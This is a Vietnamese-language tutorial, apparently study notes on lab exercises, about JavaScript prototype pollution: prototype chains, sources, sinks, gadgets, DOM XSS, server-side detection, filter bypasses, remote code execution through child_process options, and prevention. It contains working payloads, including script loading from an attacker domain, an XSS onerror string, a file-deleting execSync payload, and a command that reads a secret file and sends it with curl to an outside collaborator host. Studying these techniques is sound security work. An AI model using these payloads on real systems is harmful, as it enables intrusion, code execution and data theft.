🔐Prototype pollution

property: thuộc tính, object: đối tượng

Prototype pollution là gì ?

Prototype pollution là lỗ hổng mà kẻ tấn công có thể thêm bất kỳ thuộc tính nào vào các global object prototype.

Mặc dù lỗ hổng này thường không thể khai thác như mỗi lỗ hổng độc lập, nó để cho kẻ tấn công. Nếu ứng dụng sau đó xử lý một property(một thuộc tính) của kẻ tấn công kiểm soát theo một cách không an toàn, điều này có khả năng chain tới lỗ hổng khác.

Trong lỗ hổng client Javascript, nó mang dẫn đến lỗ hổng DOM XSS, trong khi prototype pollution phía server side thì dẫn tới RCE(удавленное выполнение код).

Javascript prototypes and inheritance

Ở phần này chúng ta sẽ xem xét prototypes và tính kế thừa của Javascript.

Object trong Javascript

Như các ngôn ngữ cách chúng ta được học thì có môn học OOP (Lập trình hướng đối tượng). Thường sẽ có hai thứ bạn thường được tiếp cận nhiều nhất đó là classobject . Có thể hiểu đơn giản rằng class chính là một cái khung dựng sẵn lên các yếu tố cần thiết cho một object , con object sẽ kế thừa lại tất cả các propertymethod

Một object của javascript cơ bản là một tập hợp của key:value được biến đên là properties .

Ví dụ đây là một đoạn object:

const user = {
    username:'Shine',
    userID:1234,
    roleAdmin: true
}

Khi đó để truy cập được giá trị thuộc tính trong object này, chúng ta sẽ có hai cách thường dùng như sau: user.roldAdmin , user['roleAdmin']

Cũng như data thì properties cũng có thể chứa executable function hay còn gọi là hàm thực thi. Khi đó nó được gọi là method

const user = {
    username:'Shine',
    userID:1234,
    roleAdmin: true
    checkNum: function() {
       //do something 
    }
}

Prototypes trong Javascript là gì?

Mọi object trong javascript được liên kết với các object khác được biến đến là prototype. Theo mặc định Javascript sẽ tự động gắn object mới cho một trong các built-in prototypes(các nguyên mẫu được tích hợp sẵn) của nó.

Hãy xem ví dụ:

let myObject = {};
Object.getPrototypeOf(myObject);    // Object.prototype

let myString = "";
Object.getPrototypeOf(myString);    // String.prototype

let myArray = [];
Object.getPrototypeOf(myArray);	    // Array.prototype

let myNumber = 1;
Object.getPrototypeOf(myNumber);    // Number.prototype

Object tự động kết thừa tất cả những thuộc tính của các prototypes được gán, trừ khi chúng đã có thuộc tính(properties) riêng với cùng một khóa. Điều này cho phép các nhà phát triển tạo các đối tượng mới có thể sử dụng lại các thuộc tính và phương thức của các đối tượng hiện có.

Cách Object enheritance hoạt động?

Bất cứ khi nào chúng ta tham khảo thuộc tính của một object thì javascript enginer sẽ đưa cho chúng ta các thuộc tính mà chưa được định nghĩa ở trong object đó.

Nếu khó hiểu chúng ta hãy xem xét ví dụ như sau:

Chúng ta thấy rằng ở Object admin chúng ta khai báo không hề có thuộc tính nào nhưng khi kiểm tra thì nó có rất nhiều thuộc tính và method trong đó và những thuộc tính trên đều được kế thừ từ Object.prototype

Prototype chain

Prototype chain là một tính năng quan trọng trong JavaScript cho phép các đối tượng kế thừa các tính năng từ các đối tượng khác. Mỗi đối tượng trong JavaScript đều có một thuộc tính prototype, cho biết đối tượng kế thừa các tính năng từ đối tượng nào.

Điều quan trọng là các object kế thừa các properties không chỉ từ prototype trực tiếp của chúng mà còn từ tất cả các object phía trên chúng trong prototype chain. Trong ví dụ trên, điều này có nghĩa là object username có quyền truy cập vào các properties và method của cả String.prototypeObject.prototype. Các object khác cũng tương tự như vậy.

Truy cập prototype của object bằng __proto__

Thật ra có thể truy cập prototype của object bằng hai cách, ngoài dùng __proto__ thì có thể dùng function constructor()

Ở phần này chúng ta sẽ nói tới __proto__ . Thì mọi object có một property đặc biệt mà bạn có thể sử dụng để truy cập prototype chính nó.

Dễ hiểu hơn thì: __proto__ cho phép một object truy cập thẳng vào property prototype của cha nó.

Với bất kỳ thuộc tính nào bạn chỉ cần truy cập tới __proto__ bằng cách sử dụng dot nonation hoặc bracket

Modifying prototypes

Sửa đổi prototype, mặc dù nó thường được coi là một cách làm không tốt, nhưng vẫn có thể sửa đổi các built-in prototype của JavaScript giống như bất kỳ object nào khác. Điều này có nghĩa là các nhà phát triển có thể tùy chỉnh hoặc ghi đè hành vi của các built-in methods và thậm chí thêm các mothods mới để thực hiện các thao tác hữu ích.

Ví dụ: JavaScript hiện đại cung cấp phương thức trim() cho các chuỗi, cho phép bạn dễ dàng xóa mọi khoảng trắng ở đầu hoặc cuối. Trước khi built-in methods này được giới thiệu, đôi khi các nhà phát triển đã thêm triển khai tùy chỉnh của riêng họ đối với hành vi này vào object String.prototype bằng cách thực hiện như sau:

String.prototype.removeWhitespace = function(){
    // remove leading and trailing whitespace
}
let searchTerm = "  example ";
searchTerm.removeWhitespace();    

Cách các lỗ hổng prototype pollution xảy ra

Các lỗ hổng gây prototype pollution thường phát sinh khi một hàm JavaScript chứa các properties do người dùng kiểm soát vào một object hiện có mà không cần lọc trước đầu vào. Điều này có thể cho phép kẻ tấn công đưa vào một property bằng cách dùng như __proto__, constructor().

Khai thác thành công prototype pollution yêu cầu các thành phần chính sau:

  • A prototype pollution source - Đây là bất kỳ đầu vào nào cho phép bạn đầu độc các đối tượng nguyên mẫu bằng các thuộc tính tùy ý.

  • A SINK - Nói cách khác, một function JavaScript hoặc DOM element cho rce.

  • An exploitable gadget - Đây là bất kỳ properties nào được đưa vào sink mà không được lọc.

Prototype pollution sources

Prototype pollution source là bất kỳ đầu vào nào người dùng có thể kiểm soát mà bạn có thể thêm bất kỳ properties nào tới prototype object.

Prototype pollution via the URL

Xem xét đoạn URL sau, nó chứa chuỗi truy vấn mà kẻ tấn công tạo ra.

https://vulnerable-website.com/?__proto__[evilProperty]=payload

Khi chúng ta phân tách đoạn payload trên dưới dạng key và value thì chúng ta sẽ có đoạn sau:

{
    existingProperty1: 'foo',
    existingProperty2: 'bar',
    __proto__: {
        evilProperty: 'payload'
    }
}

Tuy nhiên trong một số trường hợp phải back từ object được target tới Object.prototype.

targetObject.__proto__.evilProperty = 'payload';
//Nó sẽ gán property cho object prototype của object được target tới

Prototype pollution via JSON input

Các object do người dùng kiểm soát thường được lấy từ một chuỗi JSON bằng method JSON.parse().

JSON.parse() cũng coi bất kỳ key nào trong Object JSON là một string, bao gồm những thứ như __proto__. Điều này cung cấp một vectơ tiềm năng khác cho prototype pollution.

Ví dụ: giả sử kẻ tấn công tiêm JSON độc hại sau qua một thông báo trên web:

{
    "__proto__": {
        "evilProperty": "payload"
    }
}

Nếu điều này được chuyển đổi thành một object JavaScript thông qua method JSON.parse(), thì trên thực tế, object kết quả sẽ có property với key __proto__, khi đó __proto__ là thuộc tính riêng của objectFromJson :

const objectLiteral = {__proto__: {evilProperty: 'payload'}}; //
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

objectLiteral.hasOwnProperty('__proto__');     // false
objectFromJson.hasOwnProperty('__proto__');    // true

Chúng ta có thể hiểu rõ hơn bằng hình ảnh dưới đây: Khi objectLiteral được tạo như dưới thì khi đó property evilProperty được gán vào Object.property.

Còn dùng JSON.parse() để chuyển một string -> object khi đó có một property là __proto__ và nó là một object có property là evilProperty với value là payload.

Prototype pollution sinks

Prototype pollution sinks về cơ bản chỉ là một function JavaScript hoặc DOM Element mà bạn có thể truy cập thông qua prototype pollution, cho phép bạn thực thi các system commands hoặc JavaScript tùy ý.

Vì prototype pollution cho phép bạn kiểm soát các properties mà nếu không thì không thể truy cập được, điều này có khả năng cho phép bạn tiếp cận một số phần bổ sung trong ứng dụng. Các nhà phát triển không quen với tình trạng pollution có thể cho rằng người dùng không thể kiểm soát các propert, điều đó có nghĩa là có thể chỉ có khả năng lọc ở mức tối thiểu.

Prototype pollution gadgets

Một gadget cung cấp một phương tiện để biến lỗ hổng prototype pollution thành một khai thác thực tế.

  • Ứng dụng xử lý không an toàn, như là có thể pass qua sink mà không được filter đi.

  • Kẻ tấn công có thể kiểm soát thông qua prototype pollution. Nói cách khác, Object phải có khả năng inherit property do kẻ tấn công thêm vào propotype.

Example of a prototype pollution gadget

Nhiều thư viện JavaScript chấp nhận một object mà nhà phát triển có thể sử dụng để đặt các tùy chọn cấu hình khác nhau. Nếu không có property đại diện cho một tùy chọn cụ thể, thì một tùy chọn mặc định được xác định trước thường được sử dụng để thay thế. Một ví dụ đơn giản hóa có thể trông giống như thế này:

let transport_url = config.transport_url || defaults.transport_url;

Bây giờ hãy xem code thư viện sử dụng transport_url này để thêm script reference vào trang:

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

Nếu nhà phát triển website không set transport_url property ở config object của họ, thì đây là một gadget chúng ta có thể khai khác. Trong trường hợp kẻ tấn công có thể injection Object.prototype globbal bằng property transport_url của riêng chúng, property này sẽ được config object inherit và do đó, được đặt làm src cho tập lệnh này thành miền do kẻ tấn công chọn.

Ví dụ: nếu propotype có thể polluted thông qua một query parameter, thì kẻ tấn công chỉ cần dụ nạn nhân truy cập một URL được tạo đặc biệt để khiến trình duyệt của họ nhập tệp JavaScript độc hại từ domain do kẻ tấn công kiểm soát:

https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net

Bằng cách cung cấp data: URL, kẻ tấn công cũng có thể inject payload XSS vào trong query parameter như sau:

https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//

Client-side prototype pollution vulnerabilities

---- Exploiting prototype pollution for DOM XSS

Finding client-side prototype pollution sources

Tìmclient-side prototype pollution sources theo cách thủ công phần lớn là một trường hợp thử và lỗi. Nói tóm lại, bạn cần thử nhiều cách khác nhau để thêm một property tùy ý vào Object.prototype cho đến khi tìm được source phù hợp.

When testing for client-side vulnerabilities, this involves the following high-level steps:

  1. Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example:

    vulnerable-website.com/?__proto__[foo]=bar

Khi test cho lỗ hổng phía client, thực hiện các bước sau:

  1. Cố gắng inject bất kỳ thuộc tính nào qua chuỗi truy vấn, url và bất kỳ đầu vào JSON nào. Ví dụ sau: vulnerable-website.com/?proto[foo]=bar

  2. Vào console của trình duyệt, hãy xem Object.prototype đã được inject thành công hay chưa.

Object.prototype.foo
// "bar" nếu có giá trị thì thành công
// undefined có nghĩa là không thành công
  1. Nếu không thành công thì có thể dùng các kỹ thuật khác để add được property vào như dot notation từ bracket notation: vulnerable-website.com/?proto.foo=bar

Finding sources using DOM Invader

Về phần này bạn có thể sử dụng extension của Burp suite, đọc ở đây.

Finding gadgets manually

Khi bạn đã xác định được source cho phép bạn thêm các property tùy ý vào Object.prototype global, bước tiếp theo là tìm một gadget phù hợp mà bạn có thể sử dụng để tạo ra một khai thác. Trên thực tế, chúng ta nên sử dụng DOM Invader để thực hiện việc này nhưng sẽ hữu ích nếu xem xét quy trình thủ công vì nó có thể giúp củng cố hiểu biết về lỗ hổng bảo mật.

  1. Xem qua source code và xác định bất kỳ property nào được ứng dụng sử dụng hoặc bất kỳ thư viện nào mà ứng dụng import vào.

  2. Trong Burp, bật interception (Proxy > Options > Intercept server responses) và chặn response có chứa JavaScript mà bạn muốn kiểm tra.

  3. Thêm một câu lệnh debugger ở đầu script, sau đó forward mọi request và response còn lại.

  4. Trong trình duyệt của burp, đi tới trang mà target script được load. Câu lệnh debugger dừng thực thi script.

  5. Trong khi script vẫn pause,chuyển sang console và nhập đoạn code dưới đây, thay thế YOUR-PROPERTY với một trong các property mà bạn nghĩ sẽ là một gadget có tiềm năng để inject:

Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})

Property được add vào global Object.prototype và trình duyệt sẽ log một tới console bất cứ khi nào nó được truy cập

  1. Nhấn vào nút để tiếp tục thực thi lệnh và theo dõi console. Nếu stack trace xuất hiện, điều này xác nhận rằng property đã được truy cập ở nơi nào đó trong ứng dụng

  2. Mở rộng stack trace và dùng link được cung cấp chuyển đến dòng code mà property đang được đọc

  3. Sử dụng các debugger controls của trình duyệt, duyệt qua từng giai đoạn thực thi để xem liệu property có được chuyển đến sink hay không, chẳng hạn như innerHTML() hoặc eval().

  4. Lặp lại quy trình này cho bất kỳ property nào mà bạn cho là gadget tiềm năng.

Finding gadgets using DOM Invader

Đọc ở đây.

Prototype pollution via the constructor

Ngoài __proto__ thì chúng ta có thể truy cập prototype object thông qua thuộc tính có sẵn đó là constructor

Constructor là một thuộc tính đặc biệt trả về hàm đã được dùng để tạo ra đối tượng đó. Prototype object có constructor chỉ đến hàm đó và constructor của constructor sẽ là hàm constructor toàn cục (global).

Trong JavaScript, mỗi object được tạo ra từ một constructor function, có trách nhiệm thiết lập các thuộc tính và hành vi ban đầu của object.

Khi bạn tạo một object bằng cú pháp object literal, ví dụ như const person = {}, JavaScript sẽ tạo ra object và đặt thuộc tính [[Prototype]] của nó thành object Object.prototype mặc định. Object.prototype là constructor function cho tất cả các object trong JavaScript.

Bạn có thể truy cập constructor function của một object bằng cách sử dụng thuộc tính constructor. Ví dụ, person.constructor trả về constructor function mà đã được sử dụng để tạo ra object person. Trong trường hợp này, nó trả về constructor function Object().

Tương tự, bạn có thể truy cập constructor function của một constructor function bằng cách gọi thuộc tính constructor của nó. Ví dụ, person.constructor.constructor trả về constructor function Function(), vì Object() là một constructor function tích hợp và được tạo ra bằng cách sử dụng constructor function Function().

Và ngoài ra persion.constructor.prototype sẽ như person.__proto__

Bypassing flawed key sanitization

Một cách rõ ràng để một website ngăn chặn lỗ hổng prototype pollution là lọc property key được khi cho nó vào một object. Tuy nhiên một lỗ chung là không lặp lại quá trình lọc một lần nữa.

Ví dụ trong một trang web sẽ filter đi __proto__ ở đầu vào nếu có nó xuất hiện thì ở đây dev chỉ lọc duy nhất một lần mà không kiểm tra lại.

vulnerable-website.com/?__pro__proto__to__.gadget=payload

Khi đó nó sẽ trở thành ?proto.gadget=payload và vẫn exploit bình thường.

Prototype pollution in external libraries

Prototype pollution via browser APIs

PPlution qua method fetch()

Fetch API cũng cấp cho các nhà phát triển để trigger HTTP Request sử dụng JS. Fetch() gồm 2 tham số:

  • URL mà muốn gửi request tới

  • Một object tự chọn mà nó là một phần của request như là method, header, body, parameter ...

fetch('https://normal-website.com/my-account/change-email', {
    method: 'POST',
    body: 'user=carlos&email=carlos%40ginandjuice.shop'
})

Chúng ta sẽ xem xét đoạn code JS sau:

fetch('/my-products.json',{method:"GET"})
    .then((response) => response.json())
    .then((data) => {
        let username = data['x-username'];
        let message = document.querySelector('.message');
        if(username) {
            message.innerHTML = `My products. Logged in as <b>${username}</b>`;
        }
        let productList = document.querySelector('ul.products');
        for(let product of data) {
            let product = document.createElement('li');
            product.append(product.name);
            productList.append(product);
        }
    })
    .catch(console.error);

Để exploit đoạn code này thì kẻ tấn công cần polluted được Object.prototype với một property headers chứa một header độc hại x-username

?proto[headers][x-username]=<img/src/onerror=alert(1)>

Cuối cùng giá trị của property x-username sẽ được trả về file JSON sau đó nó sẽ được gán cho username và đi tới innerHTML

PPution qua property được xác định của Object

Các nhà phát triển hiện tại đã block các gadgets tiềm năng để exploit. Xem ví dụ như này:

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
{configurable: false, writable: false} - có nghĩa property trên không thể bi ghi đè giá trị, không thể sửa đổi

Đọc ở đây

Có thể dùng key value mặc định để inject thay cho transport_url

Server-side prototype pollution

Detecting server-side prototype pollution via polluted property reflection

Chúng ta sẽ xem xét ví dụ sau:

Xem ví dụ trên chúng ta thấy rằng có một Object là Person có 2 proprerties keys là name và age. Nhưng sau đó thêm một property admin vào Object.prototype, tiến theo đó kiểm tra xem admin có phải property thuộc Object Person không thì nhận về false . Điều đang nói ở đây khi chúng ta dùng vòng lặp for để in ra key thì nó có property admin. Có nghĩa là Object Person đã kế thừa property admin từ Object.prototype.

Vậy lúc này đang false thì inject thành true qua __proto__

Detecting server-side prototype pollution without polluted property reflection

Thường thì lỗ hổng prototype pollution nó sẽ không reflect ra ngoài nhưng không có nghĩa chúng ta không có căn căn gì để khai thác nó.

Chúng ta sẽ xem xét 3 kỹ thuật sau:

  • Status code override

  • JSON spaces override

  • Charset override

Status code override

Server-side Javascript frameworks như là Express cho phép các dev tạo HTTP response status. Trong trường hợp lỗi thì phía server có thể đưa ra một HTTP response chung, nhưng nó bao gồm một object lỗi với định dạng JSON ở body, nó cung cấp chi tiết lỗi xảy xa.

  • Ở đây khi nhắc tới lỗi thì có nó nghĩa là bạn nhập sai thứ gì đó không cho phép hoặc không được phép truy cập một path nào đó của trang web ...

Ví dụ một trang web vẫn trả về status 200 nhưng đi kèm một object JSON báo lỗi kèm status ở trong JSON là 400

HTTP/1.1 200 OK
...
{
    "error": {
        "success": false,
        "status": 401,
        "message": "You do not have permission to access this resource."
    }
}

Điều này được sinh ra vì trong NodeJS có một module tên là http-errors có chứa đoạn code sau:

function createError () {
    //...
    if (type === 'object' && arg instanceof Error) {
        err = arg
        status = err.status || err.statusCode || status
    } else if (type === 'number' && i === 0) {
    //...
    if (typeof status !== 'number' ||
    (!statuses.message[status] && (status > 400 || status >= 600))) {
        status = 500
    }
    //...

Nhìn sơ qua đoạn code thì chúng ta có thể thấy status nếu không được lọc kỹ càng thi chúng ta có thể polluted status

JSON spaces override

Express Framework cung câp một option là json space , nó cho phép số lượng space để thụt lè bất cứ một JSON data nào có trong response. Hãy thử inject xem nó có bị ảnh hưởng hay không?

"__ proto __": {
"json spaces":15 }

Charset override

Express server sẽ để middleware xử lý các request trước khi nó được server xử lý. Cho một ví dụ một module body-parse thường được sử dụng để parse phần body trong request gửi tới để generate một req.body object.

Lưu ý rằng sau đó đoạn mã dưới đây sẽ pases một object bất kỳ tới hàm read() , cái mà đọc phần body của request để parse. Một trong nhưng tùy chọn là encoding , xác định những ký tự encode để dùng. Điều này được bắt nguồn từ request đó thông qua hàm được gọi là getCharset(req) hoặc default là UTF-8

var charset = getCharset(req) || 'utf-8'

function getCharset (req) {
    try {
        return (contentType.parse(req).parameters.charset || '').toLowerCase()
    } catch (e) {
        return undefined
    }
}

read(req, res, next, parse, debug, {
    encoding: charset,
    inflate: inflate,
    limit: limit,
    verify: verify
})

Xem xét kỹ hàm getCharset() dường như các dev đã dự kiến Content-Type header có thể chứa các charset không rõ ràng bởi vậy họ đã thực hiện một số logic để revert một chuỗi trống trong trường hợp này.

  • Ví dụ trong UTF-7 thì foo+AGYAbwBv-

{ "sessionId":"0123456789", "username":"wiener", "role":"+AGYAbwBv-" }

  • Gửi request đi mà server không sử dụng UTF-7 encode theo default bởi vậy chuỗi string trên sẽ xuất hiện ở dạng được encode.

  • Thử polluted prototype qua content-type property bằng các charset UFT-7:

{ "sessionId":"0123456789", "username":"wiener", "role":"default", "proto":{ "content-type": "application/json; charset=utf-7" }

  • Gửi lại request ở đầu tiên. nếu có thể polluted content-type theo UTF-7 vừa được inject thì res sẽ như này:

{ "sessionId":"0123456789", "username":"wiener", "role":"foo" }

Do một bug trong _http_incoming module mà điều này vẫn hoạt động ngay cả khi loại bỏ header Content-Type . Để tráng overwrite properties thì hàm _addHeaderLine() sẽ check xem có property nào trùng lặp không được khi chuyển tới IncomingMessage Object

IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
    // ...
    } else if (dest[field] === undefined) {
        // Drop duplicates
        dest[field] = value;
    }
}

@protection: Khi này header sẽ được xử lý loại bỏ một cách hiệu quả.

Scanning for server-side prototype pollution sources

Chúng ta có thể sử dụng Burp suite với extension Server-Side Prototype Pollution Scanner để quét.

Bypassing input filters for server-side prototype pollution

Các trang web thường cố gắng ngăn chặn hoặc vá các lỗ hổng prototype pollution bằng cách filter các key đáng ngờ như __proto__, nhưng nó có thể bị bypass

Ví dụ, kẻ tấn công có thể:

  • Obfuscate các từ khóa bị cấm để chúng bị bỏ sót trong quá trình filter. Bypassing flawed key sanitization.

  • Truy cập prototype thông qua constructor thay vì __proto__.

Các App code từ nodejs có thể xóa hoặc tắt hoàn toàn __proto__ bằng cách sử dụng command-line flags --disable-proto=delete hoặc --disable-proto=throw tương ứng. Tuy nhiên, điều này cũng có thể được bypass bằng cách sử dụng constructor.

"constructor":{ "prototype":{ "isAdmin":true}}

Remote code execution via server-side prototype pollution

Identifying a vulnerable request

Để exec shell trong Node,có thể sử dụng mô-đun child_ process. child_process là một module trong Node.js, cho phép tạo ra các tiến trình con (child process) để thực hiện các tác vụ bất đồng bộ (asynchronous) mà không ảnh hưởng đến tiến trình chính (main process).

Biến môi trường NODE_OPTIONS cho xác định một chuỗi command-line arguments sẽ được sử dụng theo mặc định bất cứ khi nào bắt đầu Node process mới. Vì đây cũng là property trên object env, có thể pollution được.

Một số functions của Node để tạo các child processes mới chấp nhận shell property tùy chọn, cho phép các dev đặt một shell cụ thể, chẳng hạn như bash, để chạy các lệnh trong đó. Bằng cách kết hợp điều này với property NODE_OPTIONS ,có thể làm pollution bằng các res về server hacker.

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

Remote code execution via child_process.fork() and child_process.execSync()

Các methods như child_ process.spawn()child_ process.fork() cho phép các dev tạo các child process Node mới. Phương thức fork() chấp nhận một object tùy chọn trong đó một trong các tùy chọn tiềm năng là execArgv property. Đây là một araycác chuỗi chứa các command-line arguments nên được sử dụng khi sinh ra child process.

Vì gadget này cho phép kiểm soát trực tiếp command-line arguments, điều này cho phép truy cập vào một số vectơ tấn công không thể thực hiện được khi sử dụng NODE_OPTIONS.

Quan tâm đặc biệt là đối số --eval, cho phép bạn chuyển JavaScript tùy ý sẽ được child process thực thi.

"execArgv": [
    "--eval=require('<module>')"
]

Ngoài fork() thì còn có execSync() có thể RCE.

"shell":"vim",
"input":":! <command>\n"

Sử dụng đối số --eval để rce:

"__proto__":{"execArgv":["--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"]}

curl -X POST -d @- là một câu lệnh dòng lệnh sử dụng chương trình cURL để gửi một yêu cầu HTTP POST đến một URL cụ thể và gửi dữ liệu được lấy từ đầu vào tiêu chuẩn (stdin).

Cụ thể, -X POST sử dụng phương thức POST để gửi yêu cầu HTTP, -d (hoặc --data) được sử dụng để chỉ định dữ liệu gửi trong yêu cầu và @- cho phép cURL đọc dữ liệu từ đầu vào tiêu chuẩn (stdin).

@- được sử dụng để đọc dữ liệu từ đầu vào tiêu chuẩn, nó cho phép bạn gửi dữ liệu tới một yêu cầu HTTP mà không cần phải tạo một tệp tin riêng để chứa dữ liệu đó. Điều này rất hữu ích trong các trường hợp bạn muốn gửi dữ liệu động hoặc dữ liệu được tạo ra bởi một lệnh khác trong cùng một đường ống (pipeline).

Ví dụ: echo '{"name": "John", "age": 30}' | curl -X POST -d @- https://example.com/api sẽ gửi một yêu cầu POST đến https://example.com/api với dữ liệu đầu vào là {"name": "John", "age": 30}.

Thường thì lỗ hổng này nó sẽ không trả dữ liệu ra ngoài nên chúng ta cần RCE rồi gửi tới Server của chúng ta để lấy dữ liệu.

Ở lab dưới thi chúng ta sẽ sử dụng các properties shell và input nếu execArgv bị chặn thực hiện shell bằng vim là phổ biến nhất sau đó ghi input vào và request tới server của mình

"__proto__":{ "shell":"vim", "input":":!cat /home/carlos/secret | base64 | curl -d @- https://558lzpd3v31f3icjmj1lvpjir9x0lp.oastify.com \n"}

Dùng ip-request ngoài không hiểu sao nó không nhận được res.

Preventing prototype pollution vulnerabilities

Để khắc phục lỗ hổng prototype pollution thì có thể có một số cách sau:

  1. Đóng băng các properties bằng Object.freeze(Object.prototype)

  2. Thực hiện validation trên các input JSON theo đúng schema của ứng dụng

const Joi = require('joi');

// Định nghĩa schema cho đầu vào JSON
const inputSchema = Joi.object({
  name: Joi.string()
    .alphanum()
    .min(3)
    .max(30)
    .required(),
  email: Joi.string()
    .email({ minDomainSegments: 2, tlds: { allow: ['com', 'net'] } })
    .required(),
  age: Joi.number()
    .integer()
    .min(18)
    .max(120)
    .required(),
  gender: Joi.string()
    .valid('male', 'female', 'other')
    .required()
});

// Xác thực đầu vào JSON
const result = inputSchema.validate({
  name: 'John Doe',
  email: 'johndoe@example.com',
  age: 30,
  gender: 'male'
});

// Kiểm tra kết quả xác thực
if (result.error) {
  console.error(result.error.details[0].message);
} else {
  console.log('Input is valid');
}
  1. Tránh sử dụng các hàm có ghép đệ quy (recursive merge) các đối tượng một cách không an toàn

function merge(target, sources) {
  sources.forEach((source) => {
    for (const key in source) {
      if (source.hasOwnProperty(key)) {
        if (typeof source[key] === 'object' && source[key] !== null) {
          if (!target[key]) Object.assign(target, { [key]: {} });
          merge(target[key], source[key]);
        } else {
          Object.assign(target, { [key]: source[key] });
        }
      }
    }
  });
  return target;
}

// Sử dụng hàm ghép đệ quy (recursive merge) đối tượng một cách không an toàn
const obj1 = {};
const obj2 = JSON.parse('{"__proto__": {"polluted": true}}');
merge(obj1, obj2);

// Kiểm tra lỗ hổng prototype pollution
console.log(obj1.polluted); // true
  1. Sử dụng đối tượng không có thuộc tính prototype, ví dụ Object.create(null) để tránh ảnh hưởng đến prototype chain

// Tạo đối tượng mới không có prototype
const obj = Object.create(null);

// Thêm thuộc tính vào đối tượng
obj.prop1 = 'value1';

// Kiểm tra thuộc tính của đối tượng
console.log(obj.prop1); // "value1"
console.log(obj.toString); // undefined
  1. Sử dụng Map thay vì Object

Tổng kết

Cảm ơn các bạn đã đọc bài viết, từ các bài sau mình sẽ chỉ note lại kiến thức chính và sẽ k viết chi tiết nữa thay vào đó viết cách solve các bài lab.

Last updated